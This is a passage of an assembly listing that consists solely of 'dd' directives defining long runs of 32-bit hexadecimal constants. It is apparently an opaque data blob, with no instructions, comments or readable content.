		dd 6C69C782h, 0A331E0F7h, 4161887h, 10F604A1h, 5CA0BA42h
		dd 1A422E58h, 8F2386D5h, 0BC26ECC7h, 4097B9Fh, 310F82D9h
		dd 0C9097E3Fh, 7FF77A1h, 0DF29E8B4h, 7AD900FDh,	0EAB35AD9h
		dd 0C4DCC583h, 7BEEF690h, 697AF1DFh, 29D3D6F5h,	5FC903FEh
		dd 6B929896h, 9964B7E1h, 0C5E9C09Ch, 0A79D84A1h, 0A093A4B1h
		dd 9891DBDBh, 1AA57013h, 3020592Eh, 7687E2EBh, 19ECC13Ch
		dd 0DEF1D15h, 9B50F906h, 5655CC8Ch, 0BC137C9Dh,	1631FB96h
		dd 56267658h, 0C6BB5193h, 753D9752h, 6BCA5104h,	0EAD33B2Fh
		dd 95F077BAh, 20FCCF0Bh, 8E9AB083h, 4B55748h, 3B9193ACh
		dd 0ED835D33h, 38163617h, 0E578B34Fh, 0BB6B7F47h, 238B8481h
		dd 7D8A243h, 0F99D1EE1h, 0E6CF6DC9h, 0F65889FFh, 0F9C04875h
		dd 0D869DC7Fh, 87A32EAAh, 19A74944h, 0D8CB7D4Eh, 0C72A4F65h
		dd 7F895DFh, 0F756BB4Dh, 49BE420Ch, 4FE75F7Fh, 0D4A15EB6h
		dd 0FD9D341Eh, 6A1CC114h, 60EA1FA3h, 0F95BFE27h, 63708AB1h
		dd 561349A6h, 0F4407B29h, 0DCEBABEh, 5021CEECh,	15EC28Ah
		dd 634B6792h, 0A7202239h, 0E3E7E4F6h, 0C45F3C4Dh, 383D5B96h
		dd 0BAC45DC4h, 27A4AEEEh, 0A0E9A48h, 64A2D887h,	2928E242h
		dd 2BC7BF90h, 0A9882B08h, 73C4BC15h, 0E6789A10h, 0FE6D5C5Ch
		dd 47728A37h, 0D32048A9h, 54A23E6Fh, 8CAA2E09h,	34AF5DDBh
		dd 0D249CB26h, 0EE14C955h, 0EF99BCBEh, 0C135FA94h, 766EE0E1h
		dd 0EC0A610Ch, 7841EB67h, 165A9F93h, 0C964D081h, 0FBC2FFE3h
		dd 611419F8h, 0B605BCCEh, 0F4C767C6h, 7F772F55h, 7854A741h
		dd 9B0D3E62h, 2BA09400h, 0CB837579h, 823AAB22h,	0BDFBE64Ah
		dd 0BAC0A850h, 6CB53FD0h, 3CB95B9Ah, 3A9F088Bh,	9B72B75h
		dd 0A280CFCh, 9DF79982h, 0E120083Ah, 0C7AC3A60h, 209D9656h
		dd 0F606BC59h, 9554E3A6h, 8C14A2F0h, 9A713F15h,	0FFF05371h
		dd 62404B9Eh, 0C4285CEFh, 9B752E3Bh, 0F11FBFBBh, 0B2543CAAh
		dd 0FD39D71Bh, 9927EEAEh, 3B8BB009h, 6A037C2Bh,	2A0D35ADh
		dd 115726F1h, 0EAED75B2h, 0CE7A48Dh, 0DAFCCEBBh, 3AB6C57Ch
		dd 695E9C07h, 0A7152B05h, 4D2A733Fh, 0A1954E45h, 21640D69h
		dd 876B9E6Eh, 0C1F1DBE2h, 13AD5EA9h, 3757C33Ch,	92347A7Bh
		dd 1E9B1CA6h, 4A3B5E93h, 4EBA6E54h, 7BA23ED9h, 1ADF06B8h
		dd 0A7377BE7h, 9BD7C88Fh, 0BFED13D4h, 80C58DFEh, 61BCAE5Ch
		dd 88F964FAh, 89E689F4h, 82075C01h, 4911EBD7h, 5A2F7D6h
		dd 1F767417h, 7C1AF2ADh, 0C009B6BAh, 71C1B14Ch,	0E90350CCh
		dd 0D0E67BCCh, 0E719632Ch, 38EBC1D4h, 242486BAh, 78F4C339h
		dd 0AE98479h, 52E5B0D8h, 96BCF8ABh, 0E0A9BBA6h,	0AE637033h
		dd 8409EDB8h, 36661964h, 4F2181F9h, 1F27CEE1h, 7AD31F0Fh
		dd 1F02E66Bh, 13D8E29h,	3423EB46h, 0E5F898E9h, 0B493D5AEh
		dd 3653B9FDh, 6F63A57Dh, 793A16Eh, 9F30B29Dh, 0F531A87Fh
		dd 0F7EAACE7h, 491C4EDDh, 62244246h, 0E8CBE63Bh, 2E72B38Bh
		dd 34CCE289h, 0C0EC9182h, 11C49921h, 480A62Dh, 8264F929h
		dd 3F89D6E8h, 0B2AAEBB5h, 0D98C4359h, 0A15A2EEEh, 342FEDDCh
		dd 5EDF3F0Ch, 2FBA6D7Ah, 0E489E745h, 6166FFCCh,	981BC2A8h
		dd 9C7492C6h, 73727C99h, 6104AA4Fh, 0F684315h, 99E28FE7h
		dd 9BEC6C6Fh, 6A051BCh,	3CC695E6h, 0B8CEA323h, 5414DCFBh
		dd 587C0D24h, 0C44D4A9Bh, 27FFC76Ah, 64909537h,	3F092431h
		dd 1B5137D1h, 0C0844A64h, 0B2E20553h, 0DB42CBAFh, 0FE118B74h
		dd 7FDF07E4h, 7FDC5841h, 0C28B080Eh, 4A3225F9h,	0D539E8DDh
		dd 1ACDC4h, 74514586h, 7699703h, 0C3F19159h, 805142F4h
		dd 0C9DF5928h, 0B3955654h, 0EFE6B1ADh, 6058A1C9h, 5C900567h
		dd 0C4E95B35h, 7837B6D2h, 0A52209AAh, 857513D4h, 255DD2B0h
		dd 5FE629DBh, 75F1DEFCh, 0A0CFC407h, 0C51FA2D4h, 0BF27889Bh
		dd 0EC538613h, 9BCA83EFh, 57CB1CA0h, 0D556A7D3h, 0FBC54FE1h
		dd 11DDC780h, 105FFACAh, 25950DE1h, 49B3B542h, 4DD5E678h
		dd 9227678Dh, 0A8ABEBD1h, 0C77434F0h, 64865F11h, 51C6EF82h
		dd 0A232EFC5h, 1DEEC5F1h, 56C6F594h, 8F996AD1h,	71600C64h
		dd 3A27DEF0h, 3F526F05h, 2A5CAE1Eh, 0C724122Eh,	3CB696BFh
		dd 5959FC36h, 86AB0920h, 9F6A3A6Eh, 8606DA96h, 248EBEAEh
		dd 8102A784h, 6E06CDC1h, 174F265Ch, 45280629h, 5C01996Eh
		dd 2E9D3D70h, 3A797A19h, 3287EFE9h, 70EB8C26h, 9266A5FEh
		dd 0EB497A63h, 0D1634641h, 7084A45Ah, 7CCD9C1Ah, 31BE845Fh
		dd 3F3AA6E8h, 11C0B514h, 735283B8h, 7D316998h, 72A90715h
		dd 0B4B1360Eh, 1D24B4A3h, 55ADDA5Fh, 0EECED5B5h, 909E7F90h
		dd 1FDFF093h, 1CE3581Ch, 95DA2C07h, 0F401CD1h, 0E100AF7h
		dd 55E05B56h, 0B2B4D6A9h, 8EE98F58h, 999F65FFh,	0C26DC1C1h
		dd 3FE4B5FAh, 924DB156h, 64B4C55Ah, 17CE334Bh, 731BE0B2h
		dd 3404A6C4h, 7B8B7224h, 0CA0CA39h, 0FB412873h,	1248E770h
		dd 1A410267h, 63A6C559h, 0C94FF68Dh, 65AC2DC4h,	0CE6A2B06h
		dd 2DD7F364h, 0E05253AAh, 254B6A5Dh, 0F3AFDC81h, 0E98BD899h
		dd 2A038066h, 0E63C0D73h, 3DC4B439h, 0CEFECD6Fh, 0A64C19F6h
		dd 37BCC571h, 0D5EB73FCh, 93AD7285h, 2CD3693Dh,	0F0363F2Ch
		dd 1D4CE411h, 8A14F26Ch, 0DF6DB7B5h, 0FC4CA994h, 30F3D8C7h
		dd 6E0011F3h, 6321492Fh, 8A3F82DAh, 522B0B95h, 0DE930FD4h
		dd 0A75126EEh, 8A91542Eh, 4553B8C3h, 0DE15189Bh, 35891575h
		dd 20696C59h, 521E8ECFh, 0C0AFEB6Ch, 822CDAD6h,	3F1A7A22h
		dd 7F1C599Eh, 4C24E91Dh, 0B7BF40FBh, 89020A34h,	50076E91h
		dd 176F330Fh, 0CF6D4AABh, 685F4672h, 0EB72F740h, 9671FC50h
		dd 0E6287FD1h, 44866F70h
		dd 90203DC4h, 9CB1023h,	0FD41A61Ch, 2CC59146h, 0B3F801F3h
		dd 8EA1A4D8h, 4075787h,	2EFEFA85h, 4BE63AD7h, 0E0385789h
		dd 0EDBDB43Dh, 0DFCECB68h, 0D2CE40F8h, 16ED7A6Eh, 919907F4h
		dd 2F3532D4h, 672F9B5Bh, 0C4EF244Fh, 28928F67h,	2AEE48Ch
		dd 94F24215h, 0E8DAAAA7h, 1D5B087Bh, 9E0A4401h,	5087B7E5h
		dd 0FBF1A25Ah, 0B8C61D18h, 0AA1DF1A5h, 21094D3Ah, 0E8949C85h
		dd 0B27DECBEh, 3F9E4AC6h, 8264E4DDh, 69F43816h,	0BA8EA5C8h
		dd 10560D88h, 5D89379Eh, 0DFCA0E9Bh, 0BB4372C1h, 6524BDDEh
		dd 5D6D63C9h, 141CBF0Dh, 0EF0D2C9Bh, 0BD3845ECh, 301C5EE6h
		dd 716BF772h, 528C1B75h, 7243EB75h, 869CE7ADh, 1FC174A9h
		dd 280B9700h, 1B23AE47h, 7BF0ABDh, 0D0C23A36h, 16DA98A1h
		dd 6D42C0B9h, 0A7B872E6h, 62684D26h, 0AFE2805Eh, 0B4E3068Bh
		dd 0DAAA12FFh, 0D5A8BD59h, 0D3957DEDh, 0CE9905E2h, 89211F47h
		dd 34BF09DEh, 0CDA81CE9h, 5474C004h, 32DBA89Bh,	22815568h
		dd 0A7022C2Eh, 60B5E85Ch, 0E11C1494h, 0B0D11F9Dh, 799EE07Fh
		dd 70FB5DA5h, 0F33FECE1h, 22DCC746h, 6DB8BA8Bh,	36BA7E53h
		dd 9E0A283Eh, 0C3D99E6Ch, 247FFEDFh, 64453F0Ah,	44F3BF53h
		dd 368C4C26h, 72B5498Bh, 376CEF53h, 444B1451h, 933AE4CFh
		dd 177D53C5h, 3AF1BF92h, 0D97E34FAh, 0EA3661F4h, 67A49F03h
		dd 3EF3E9CFh, 0C9154B2h, 9B603E0Ch, 0C740BB62h,	0CF5AD0F7h
		dd 0CA49AB72h, 2573A775h, 276FB544h, 5A6F3AECh,	564B7B38h
		dd 0ABF34A66h, 73489A9Bh, 0EEC7482h, 0F1333A3Dh, 0D5ED23B1h
		dd 41A5B077h, 0C503056Dh, 43DC1AD1h, 47C76FEFh,	4FC5F79Dh
		dd 310EF058h, 17A0B06Ch, 5306CFD7h, 0C61FA0Fh, 0FDD29A48h
		dd 81FD946Bh, 87F1DCA3h, 6811B170h, 320749EBh, 0C34ED885h
		dd 5C9C7981h, 0F820C96Fh, 0C9F4F82h, 0CB9A0D6Ah, 0CE707EB7h
		dd 4C7F060Eh, 440856F4h, 3FE3AF8Bh, 0D86919FEh,	8DEE5268h
		dd 463C43C5h, 6FAE309Ah, 0CDD42579h, 0DCB3946Ah, 90A9ECEDh
		dd 0A72154FFh, 0DE715C7h, 2ED206B4h, 5877B805h,	4553529Fh
		dd 136515C9h, 713CF7AAh, 4553E900h, 7024F089h, 0DD752F4Eh
		dd 99E02E8Ah, 0A1DE727h, 6A8A247Ah, 0A3194087h,	7B62432h
		dd 1721F7E3h, 0E9E0E8DAh, 52A06716h, 35EC99FFh,	38B668B8h
		dd 49731855h, 0AAD1A9EAh, 97354184h, 0C557B6C4h, 74BF3EBBh
		dd 75621A2h, 4AC3DE9Ch,	9585B27Eh, 0DC1EEE28h, 0AF975E9Eh
		dd 37828453h, 4EE5BD92h, 89EB5471h, 0E59EB2FEh,	0FFEAAD6Ch
		dd 7DE97596h, 799FB124h, 56A4C82Fh, 0B789E641h,	2A65A8A8h
		dd 5297F708h, 72940EAEh, 6BB0D5h, 0C67AA734h, 61620393h
		dd 0C0ACF6E3h, 0CB7A003Ah, 674873EAh, 4B86797h,	47235EFAh
		dd 85473031h, 0E1553CFDh, 1E78ED9Ch, 6558F058h,	8BDB9FADh
		dd 9AAA511Bh, 0FA7CF018h, 0B5A2D52Ah, 727ADB22h, 4DD7C2F5h
		dd 0B978161Fh, 770129AAh, 0FBAA8BBEh, 78AF4C25h, 2B62FDCh
		dd 0B4AD6616h, 0BE18660Fh, 4645DE9Ah, 7F4EE8DBh, 80F8C7B0h
		dd 90AD2646h, 0A8F79155h, 8C04F5Ch, 0E4D6A4BEh,	0EECBFB83h
		dd 0DA212E6h, 0E1865457h, 3EBF57Ch, 0FFBE3355h,	5A2B537Ah
		dd 4CF55743h, 0D9856473h, 0DD3BA294h, 0B50947FCh, 9F133CA7h
		dd 0D6F2D3A3h, 0A2418919h, 0EB70FCDCh, 0F6D2B0BAh, 0CA475D68h
		dd 2B516AFBh, 7CB78E1Ch, 0BC564355h, 0E30D4110h, 0FD85B379h
		dd 1DEEB67h, 0D924073Ah, 2C24240h, 0CAF2E6ABh, 5C86E76Bh
		dd 0D50643FBh, 0E86508E2h, 9EBE7589h, 3D50014Fh, 930BF13Ah
		dd 0F21F928Fh, 96774BF8h, 0B1C5D21Fh, 0C1F23C48h, 2CF69647h
		dd 10B7E0A4h, 0A294983Fh, 47815AAEh, 0C43EB3B7h, 39346ECEh
		dd 8144B587h, 71B98429h, 23CD6DC5h, 81C6B90Eh, 0B2BC2C82h
		dd 30754B69h, 6AD84224h, 95CCF6BFh, 78D308FFh, 0EBAED1FAh
		dd 0ECA41897h, 331CD142h, 86926434h, 2A7C2B91h,	70E13C3Fh
		dd 2036B682h, 21446D88h, 8999C96Ah, 6066B462h, 0D29CF551h
		dd 0DB881671h, 6E32AF4Bh, 27F4096Dh, 5D241D7Ch,	1B4D6667h
		dd 989A61FBh, 0C4B8B52Ch, 4297542Eh, 1EEB01E5h,	6B2347E9h
		dd 0DDFE7394h, 3C4C3251h, 0E0D86346h, 6E9DDBABh, 9B9FDD82h
		dd 675F0243h, 1E240A93h, 27E3F2CCh, 3A2109C1h, 4EB9F039h
		dd 27C06653h, 56FC88D2h, 8B502D27h, 8245873Dh, 859608DCh
		dd 0D7547C2Bh, 5F08FE96h, 0E40BC90Fh, 0F24B52E7h, 35DD9551h
		dd 4C427B17h, 1C0C3AB7h, 0CECDAE0Ch, 78AB5128h,	13BF1D65h
		dd 34051458h, 547487h, 0A69608B6h, 76985631h, 57005B70h
		dd 0C33AF733h, 79762B4Dh, 15CBB0F5h, 1AF86BCAh,	8E44E73Ch
		dd 0EA217035h, 0B342848Eh, 63847AB3h, 1710C8C3h, 52FB9D6Bh
		dd 4D1CCFA2h, 0F0C11FD2h, 48E45EECh, 63CA8CD2h,	9DD30931h
		dd 6F800C73h, 4934EB1Dh, 1232782Fh, 2271B24Dh, 0A37C836Fh
		dd 3134756Dh, 0A569326Eh, 4A084037h, 0F46B3979h, 948FF6A4h
		dd 6A7085F3h, 5B668E30h, 0E1B7F8D8h, 58971432h,	44D061C0h
		dd 3F83350h, 5EC2DDCBh,	0DD47E314h, 9D694A2Fh, 0B43224AFh
		dd 0C7D47F31h, 0CCE39D6Fh, 1050B277h, 0D67B299Dh, 0C0E91D56h
		dd 0AD17B82Eh, 0D0148AD4h, 128A7235h, 78B7E016h, 0C87A4AE0h
		dd 3D05D93Bh, 0FA1E1A0h, 0AD67FF47h, 0C1BDB7C4h, 22E27599h
		dd 999831A5h, 0B1972376h, 6F1AD670h, 87EBFA50h,	0FA136404h
		dd 278F81EDh, 5B8B4135h, 82BA007Fh, 0F69961Dh, 224F9772h
		dd 66FFB0EBh, 0A63F890Fh, 0DFFA1EF4h, 8F737BDFh, 98971482h
		dd 948B5407h, 0AB8548Fh, 5EAF25ABh, 84539A03h, 0BF0830DDh
		dd 0A1D7A17Ch, 807F7ED0h, 5B975030h, 135D5E5Ch,	3955A4F1h
		dd 0F1C0A74Bh, 5AFA0044h, 85256155h, 0C4014DD1h, 5BCF0287h
		dd 28F81C84h, 769A94C1h, 98F92A29h, 72129Dh, 27484176h
		dd 49E8E1BAh, 59F4B542h, 0F600F63h, 0CEBAF4FAh,	0C9F30E7Fh
		dd 0A1DB453Ah, 0AEEB137Ah, 80B909CAh, 0C5C01369h, 8D78CCBCh
		dd 1F960670h, 0F3775C50h, 218EF175h, 73E6B5FBh,	1E5EFC9Ch
		dd 0F37433F0h, 0A3563B92h, 9F1CE9FFh, 55AD927h,	0E313A42h
		dd 0C7FC37E5h, 0C303F878h, 0A86854CBh, 5211415Dh, 3739C44Ch
		dd 8BDBEDC2h, 4F5290EEh, 851CD5D1h, 0C36F96C9h,	5E258773h
		dd 0D69113FFh, 218868E3h, 9EF534B4h, 0BD32CD2Dh, 0F37D00C9h
		dd 5FFD16FBh, 4FA2E187h, 6F67F9DAh, 46594100h, 604C0814h
		dd 2F7E779h, 0E8D24F0Bh, 8E3EF5B2h, 5733D61Ch, 0DDE87h
		dd 109B998Ch, 6A2D007Bh, 0A3F3AB89h, 0BABE7786h, 0E274BB9h
		dd 994B75A2h, 5D7A74A9h, 97B01A35h, 0A3FFAC6Bh,	147AEFA5h
		dd 8C28605Ah, 2E3F237h,	5D32A91Ch, 0D58B714Bh, 0A353BAD1h
		dd 37473377h, 0A50A8DECh, 3B401F2h, 8BDBDBFFh, 0B17D0413h
		dd 1E8B190h, 6D507C56h,	0FAC0D74Ah, 0C121C39h, 7A57B61Dh
		dd 0B97B49D1h, 3AD1AEFFh, 0D0B71D6Fh, 0CCE6D5A3h, 0E9997926h
		dd 673E4977h, 0F8CD1706h, 14743177h, 766AFB5Dh,	944043CEh
		dd 7ED2B900h, 0DCE68136h, 0D19F0BA8h, 91546E8Ch, 28B6FB15h
		dd 0B5D39E45h, 0B3762BD8h, 6D2640Ah, 0C196CD96h, 4ACBBA8Eh
		dd 96317876h, 0D55E1D40h, 28D2230h, 0BECF842Bh,	6BE0674Fh
		dd 0D08A2C0Fh, 5C547C01h, 64CFED1Ch, 5230A85Eh,	478A49BAh
		dd 47F8D387h, 0E35CC49Ch, 95D0B31Eh, 66EE99CAh,	0DE66FB07h
		dd 0F216676Ah, 76A07AEFh, 53E01FF0h, 18A77E73h,	7D5ABF9Ch
		dd 0D6142F49h, 0EA2CF602h
		dd 629B2ACEh, 0EDBECAB4h, 0E45F5D7Ch, 0AB360Dh,	0C339DEFAh
		dd 4DD9211Dh, 8F74D01Fh, 8098EA02h, 0D9196627h,	7FC52D4Fh
		dd 51582282h, 25BC4877h, 0C9F9D269h, 27FB8D31h,	1AB10ADCh
		dd 0E1D230Bh, 0D7791664h, 0A029D6AEh, 0D9ED5833h, 23F09094h
		dd 8224E6F4h, 33DCC7FCh, 22753560h, 22282BFCh, 0F0F25081h
		dd 0C7ED7A0Bh, 0BC6FFB20h, 0D5D95E46h, 96D56D64h, 0AC49B749h
		dd 61642453h, 0B2A22152h, 0FAA3254h, 6B2C2570h,	0B4E9C130h
		dd 0D8D80028h, 0CBB86EB1h, 0F650C336h, 0B47ECC07h, 0D88DF31h
		dd 9505E626h, 0A3B865Ah, 45B0D3DAh, 51D3386Ah, 103D2E85h
		dd 0AB884974h, 5508B274h, 5CCD9CABh, 9E5C24DFh,	25018458h
		dd 0B454C053h, 791A0855h, 6251B40Fh, 0F279BDC8h, 0C511F64Dh
		dd 0DE45DC5Ch, 5BCC3542h, 0C806C982h, 73AB9F46h, 0A7AF899Fh
		dd 28D71125h, 0B8ACCEDDh, 0DBDE57B9h, 0D4B7E55Bh, 0BF48BE8Fh
		dd 6127E197h, 1604400h,	688A1851h, 17CF294Dh, 96B790FBh
		dd 8CE4F33h, 0F936BEEBh, 4B19654Dh, 524E7892h, 304319F6h
		dd 0CE8D2B3Dh, 6DC28859h, 0C5AFC223h, 7324EA53h, 0FD0AB5CFh
		dd 5980FE1Fh, 0E80AAE0Ch, 4EF0FABAh, 21E26969h,	5F6067D2h
		dd 2A03037Bh, 0BCC33BA1h, 66B2FDDFh, 0BCFA41D7h, 3B1258FCh
		dd 9EA51C20h, 43C61D45h, 0A393128Ah, 5309A04Fh,	0A6659198h
		dd 582F9838h, 0FC02A5BFh, 82E88CEh, 60C6D9B0h, 0FCC91DEEh
		dd 352BA440h, 5D6B1570h, 0EE5856B9h, 0CD878F20h, 2BF3FC1Dh
		dd 8F68625Bh, 0D38B582Ch, 2E4ECE6Ch, 57029EC3h,	16380AA9h
		dd 54F62F6Fh, 0B7AF5DBBh, 0F341208h, 0AC995046h, 0F7DD6037h
		dd 5F6F2B18h, 0D149300Fh, 53F613C0h, 0BDDE3370h, 0C3DB7625h
		dd 5623AFC3h, 8EF704BCh, 0B81F0CE0h, 3D64045Eh,	3BEAD8C1h
		dd 44D40E01h, 7FD3BE44h, 0DC75D0D8h, 680AD013h,	0BE42C777h
		dd 0DA393159h, 5E0B9464h, 0A0A6DF90h, 4844790Eh, 7E37E9F5h
		dd 501C476h, 0CB297AA0h, 5E9462A4h, 49A69013h, 1185FF48h
		dd 86BA24BBh, 0E3FFB288h, 0CDCAECC9h, 4AB79F40h, 0DD0EF76Eh
		dd 0A31C5B92h, 57F4F984h, 5CF71FBAh, 6B35E5B1h,	5E57C02Fh
		dd 6721F63Fh, 0FE8C6F7Dh, 0B2BECF5h, 0D9A56E1Bh, 2246197h
		dd 2320399Ah, 9A18428Dh, 82957E9h, 8F5E584Bh, 6B40D27h
		dd 1E0FFB3Eh, 475D29F9h, 860864BDh, 0C98AE3D0h,	0D77DBB0Bh
		dd 7E18ADD3h, 0E2519B4Bh, 0ECDF9083h, 66AB5649h, 0EF65FE84h
		dd 138F9AD8h, 6AF359Ah,	0CB5A2F16h, 6225FF20h, 563BB4F1h
		dd 2DFBF88Fh, 0B0F9596Ah, 0D4ED929Bh, 0F13EAAF8h, 0EA6F243Ah
		dd 0EB538995h, 0FFE3BF0Eh, 0A2405BB8h, 0BAFB3AE4h, 2F011AD0h
		dd 0EA8E6A42h, 6E5CC45Dh, 543C2EFh, 0A27DA351h,	807E4C35h
		dd 0C182B29Eh, 0FAF0C2B1h, 0A89E4D84h, 58A518DAh, 1D69C4FDh
		dd 6A322E75h, 0E3BED0B6h, 5D9BD4E0h, 0DC0CB214h, 36E8BA1Dh
		dd 424B335h, 5BD79BF5h,	78041C52h, 4A68CF0Ah, 0AA37FC59h
		dd 0B308B14Eh, 0E89FCD4Dh, 3F286D95h, 0FC729E3Eh, 351AB6F0h
		dd 0C34E564h, 0F0AD721Fh, 0BB5EF80h, 0A24008AEh, 4E376EF5h
		dd 7D6F15BAh, 65B7F752h, 0FD274D55h, 9B6EE4C4h,	245E3B42h
		dd 964A138Dh, 6CE6C55Bh, 3E77C7E0h, 0BAEE029Bh,	57986349h
		dd 0B714402h, 64BE5EA4h, 826D4C84h, 0D734C74h, 0F74EC274h
		dd 0A7055C12h, 79F95FD2h, 300C86BFh, 0E2479302h, 1DC4B5D0h
		dd 991CF7D4h, 0B9B9AB59h, 0AADE94E9h, 0B781DDF0h, 0E75B016Dh
		dd 6119090Eh, 0F4EDCFF2h, 0A0DA80A8h, 0C7A80C77h, 0C5AD7153h
		dd 0C8877403h, 9CC17A93h, 0AFD0DE78h, 5689D93Eh, 0F1DB64C0h
		dd 0BC4141ABh, 988483C9h, 1984FA11h, 4E2E9091h,	0D433F67Fh
		dd 0DA55A06Ah, 0B7B2B644h, 4502C66Bh, 9E862740h, 5D9D41F3h
		dd 0E4243F96h, 0DC92370Ch, 3663D0FDh, 0D2AFE774h, 0ACC01593h
		dd 0E5C87339h, 12F45E01h, 0EC7FA41Bh, 0D1D9944Dh, 0C929BA84h
		dd 0F0C7152Fh, 7E26F38Eh, 38828126h, 729387A4h,	82CA167Ch
		dd 0AC697754h, 358394EEh, 17B39EE7h, 58CBCA3Ah,	432EFAE4h
		dd 42BC3C6Ch, 0DB4AF3EAh, 9D3E7872h, 11E34A51h,	0CDEE4728h
		dd 0F582C818h, 0A5A45012h, 0D8B74B51h, 4002EE64h, 4465E7C0h
		dd 0CF954ABh, 14DFC71h,	113F1266h, 844D26A8h, 0BDDB6EEFh
		dd 8C69BFC7h, 77665165h, 0FBDA3912h, 7320384Eh,	0B87D72Dh
		dd 53E151CBh, 4149D4Dh,	49EE2956h, 0C9109D42h, 91B1D849h
		dd 0EBEE0FD2h, 0C8761332h, 7B7D47F2h, 568B93C1h, 0C4437AF4h
		dd 6FDEE0A7h, 8EF544A4h, 0B484B707h, 19B67F47h,	0FBA71773h
		dd 0AE9D03B6h, 0AA877723h, 8FB36A7Dh, 0FF2D4EB3h, 0C40F294Bh
		dd 8346FD46h, 88B8BBA9h, 4CADB06Ch, 0A47FD454h,	0F327E376h
		dd 0F97BEF4Eh, 56810D70h, 0E4EC12D4h, 8B69C362h, 0B6328297h
		dd 0F4486533h, 0C6412059h, 0BF093961h, 0A998C004h, 51ABB458h
		dd 7C0191CFh, 0BD4A537Fh, 0EF5FC2BFh, 6F04D26Ch, 6417EEA7h
		dd 189226EAh, 0AE092D15h, 0C10832EEh, 98D9C0F1h, 7B069296h
		dd 25F127B0h, 5EC2CFCFh, 370112B9h, 1564625Ch, 9AF9C1BAh
		dd 0BD312A27h, 0A12BD45Eh, 380DDCC5h, 0FFA30C79h, 0C35F7AA5h
		dd 603DF93Bh, 0A18540F7h, 69DED8BFh, 0F8BD2032h, 0ECB3EC3Ch
		dd 0E4E11E5Bh, 0C09487F3h, 0B910CCD7h, 88313323h, 79331D8h
		dd 316415A2h, 6DC4016Bh, 0E3502EBBh, 163DCB89h,	1FF3830Dh
		dd 0C02FBA33h, 2B918130h, 12CD8F80h, 44A9728Dh,	0D0B518Eh
		dd 8CB1A8Dh, 968F4446h,	5FC7E15Fh, 0DCD6325h, 461926A5h
		dd 7E0589h, 0F21358A6h,	3F960FFFh, 6B8DDBE3h, 2A5825FEh
		dd 0FD8F23B2h, 70D85D94h, 0B22E2F9Ah, 0F7329C03h, 0D9AC4DA7h
		dd 0DD71C628h, 80961519h, 5DC02C2Fh, 0C5F014C8h, 1BEDA2BAh
		dd 0B73DC806h, 0AA8001AEh, 8C0EE471h, 2B160326h, 0EA0588AEh
		dd 0E18E84BDh, 0D64DEE90h, 5250ABE2h, 5B071B6Bh, 173944A4h
		dd 0A04AA1B5h, 0D9D09515h, 0BBB8C454h, 5E80D0E0h, 0EF39AD75h
		dd 0D768AC1Bh, 2C35695h, 68C11615h, 0E4324362h,	0B0FD55EEh
		dd 81D9EF53h, 96976693h, 94387256h, 9DD7110Eh, 0BF472FC3h
		dd 0F398078Bh, 5C39B186h, 50F98F94h, 4A06F966h,	2902D827h
		dd 0D9935CB2h, 0BE64BDC0h, 2A2EB6C9h, 440140EAh, 6DFD2D80h
		dd 0C155826Dh, 0FAE0A1DEh, 21E07280h, 2C0CB622h, 7E065E3Fh
		dd 0DE9F8769h, 0F19B2BA3h, 0AA9EF060h, 0A84491E5h, 29EA21CAh
		dd 36075EE4h, 8EC4CA1Ch, 3832247Eh, 70F0529Bh, 0FD661D1Ch
		dd 93E4ED1Eh, 0E75C4FE2h, 0CB3C9BA6h, 992A2280h, 0FC658646h
		dd 787958D0h, 0B11E4640h, 394070FDh, 16D2ED78h,	606CA9EFh
		dd 8CE9D10Fh, 0BCD965h,	0C63D999Ah, 6AA7A2B5h, 8DD1FDD7h
		dd 196BDEBEh, 0F8A55DFAh, 91267A0Bh, 0FC3F56BAh, 0B2A64731h
		dd 2E3E4EAh, 914381B5h,	5FE99610h, 7A6C541Ch, 7E7970D1h
		dd 6B3E7D8Eh, 42A2CB0Dh, 0F5CFF368h, 0BF3D7641h, 0F7A1003Bh
		dd 86BE3D2Bh, 9DB560D3h, 0BA718A42h, 27AF2E32h,	0EF1889B8h
		dd 0F3682C8Ch, 16F13EFh, 0D4A398Ch, 0B0776429h,	1595CC28h
		dd 3BD9F3Bh, 375E4825h,	6D5CA777h, 79C9DFFBh, 0EB75C632h
		dd 3ADDB158h, 781E08C0h, 0A5CFCFB2h, 0D057F788h, 0DD8BAEAEh
		dd 37D8EF4Bh, 0DAB0ECDFh, 16660EBEh, 0BFA8E690h, 0DE512FAAh
		dd 0A8B3C1D5h, 0A347694h, 0DD977326h, 0A8902533h, 4FEDB090h
		dd 5859FB91h, 0CE3CF462h, 8C34D07Dh, 7B1A9552h,	6F5AA118h
		dd 0D4D33DE2h, 3851D217h
		dd 375EDB9Ah, 4B2D4DA9h, 32DCAD08h, 0F4161B41h,	0AF7D0207h
		dd 0C17B16F7h, 4D612FF3h, 85DEFEE9h, 0ED540094h, 0C5C2135Bh
		dd 0A4F4DE7Bh, 0FD5A47B0h, 0C38C8FBFh, 4C58E8E7h, 7FEF05F7h
		dd 0B38C8BA1h, 0AC7A48CBh, 0E851A2CAh, 46B04782h, 84CF9C26h
		dd 1DC714DEh, 445E7E7Dh, 58F59F98h, 67DB4DDDh, 0A830EF60h
		dd 23C26AE5h, 6659D7ACh, 987F7435h, 0AD38119Ah,	46720415h
		dd 4F56E176h, 0EF6F2246h, 39185E72h, 652C6868h,	0C8C12C61h
		dd 83E38A6Ah, 3F7285EAh, 0E006B990h, 871F3A7Ah,	4C9F1755h
		dd 2354F5BBh, 3D7BFDD5h, 18BA965h, 59B765ADh, 1FAC0BEFh
		dd 9CA19B9Dh, 742573F5h, 0ADCAE524h, 4952F9DBh,	7B4E1019h
		dd 0FAD7D892h, 5A9EFEF1h, 71F836EEh, 0C6D1C771h, 0A9731A57h
		dd 1D26ED34h, 73BAAE2Eh, 0EC075CE2h, 2B1818D7h,	0DF63B0E5h
		dd 569B6A4Dh, 0D92A48F7h, 969F6391h, 6E93C793h,	21EE37DEh
		dd 55075C49h, 6E2A26BEh, 63E3898Bh, 0EEC3D2E9h,	0DEC9360Fh
		dd 0A3DC18E2h, 7EB54885h, 0B0903164h, 157F4B44h, 0A66D8B1h
		dd 0CBBBC07Bh, 98EC20D7h, 466804Ah, 3EF131CCh, 17A11538h
		dd 0C496CE47h, 0FD967181h, 0F93D0AB7h, 0CA68199Ah, 0C5328424h
		dd 3F9B401h, 36C4D138h,	3AA76916h, 0B2D3EA10h, 49AFF1A4h
		dd 2D90D289h, 0E5E6C765h, 445EA3E1h, 683F3177h,	1A8A0732h
		dd 0B9C6AD1Ch, 800FDB70h, 0C9235EFCh, 52B8F43h,	9050D0F1h
